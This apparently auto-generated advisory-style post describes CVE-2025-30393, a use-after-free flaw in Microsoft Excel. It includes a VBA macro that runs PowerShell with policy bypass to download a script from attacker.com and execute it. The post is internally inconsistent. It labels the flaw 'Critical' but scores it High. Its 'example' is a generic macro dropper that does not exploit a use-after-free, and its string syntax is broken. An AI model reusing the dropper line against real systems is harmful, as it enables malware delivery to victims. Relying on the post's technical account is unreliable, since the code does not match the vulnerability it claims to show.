CVE-2025-30393: Critical Use After Free Vulnerability in Microsoft Office Excel

Overview

In the realm of cybersecurity, vulnerabilities are a constant cause for concern. One such vulnerability, known as CVE-2025-30393, poses a significant threat to users of Microsoft Office Excel. This vulnerability allows an unauthorized attacker to execute code locally, leading to potential system compromise or data leakage. With the widespread use of Microsoft Office Excel within businesses and by individual consumers, the impact and reach of this vulnerability cannot be overstated. Its severity underscores the need for immediate action to mitigate the potential risks.

Vulnerability Summary

CVE ID: CVE-2025-30393
Severity: High (7.8 CVSS Score)
Attack Vector: Local
Privileges Required: None
User Interaction: Required
Impact: Unauthorized code execution, potential system compromise, and data leakage

Affected Products

Product | Affected Versions

Microsoft Office Excel | All versions prior to patch

How the Exploit Works

This vulnerability exploits a use after free issue in Microsoft Office Excel. In essence, an attacker can craft a malicious Excel file that, when opened, triggers the use after free condition. This condition can then be exploited to run arbitrary code in the context of the current user. If the user has administrative privileges, an attacker could take control of the affected system.

Conceptual Example Code

This conceptual example demonstrates how the vulnerability might be exploited. In this case, the attacker sends a malicious Excel file via email to the victim. The code in the Excel file might look something like this:

Sub Workbook_Open()
' This is a conceptual example and will not actually work
Shell("powershell -nop -exec bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/malware.ps1');\"")
End Sub

When the victim opens the Excel file, the VBA (Visual Basic for Applications) code executes a PowerShell command that downloads and runs a malicious script from the attacker’s server.
Please note: This is a conceptual example and is provided for educational purposes only. Misuse of this information can lead to legal consequences. Always practice responsible disclosure.